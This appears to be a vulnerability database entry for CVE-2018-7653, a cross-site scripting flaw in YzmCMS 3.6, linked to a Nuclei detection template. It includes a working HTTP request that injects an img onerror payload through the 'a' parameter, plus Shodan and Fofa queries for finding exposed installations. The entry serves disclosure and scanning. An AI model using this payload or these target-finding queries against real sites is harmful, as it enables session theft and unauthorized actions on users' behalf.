| Title | YzmCMS v3.6 - Cross-Site Scripting |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of authenticated users. |
| Remediation | To mitigate this vulnerability, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts. |
| CVSS Score | 6.1 |
| EPSS Score | 0.01096 |
| CVE ID | CVE-2018-7653 |
| CWE ID | CWE-79 |
| Shodan Query | title:"YzmCMS"http.title:"yzmcms" |
| Fofa Query | title="YzmCMS"title="yzmcms" |
| Tags | cve cve2018 packetstorm yzmcms cms xss vuln |
In YzmCMS 3.6, index.php has XSS via the a, c, or m parameter.
GET /index.php?m=search&c=index&a=initxqb4n<img%20src%3da%20onerror%3dalert(document.domain)>cu9rs&modelid=1&q=tes HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-7653.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-7653.pcap
N/AN/A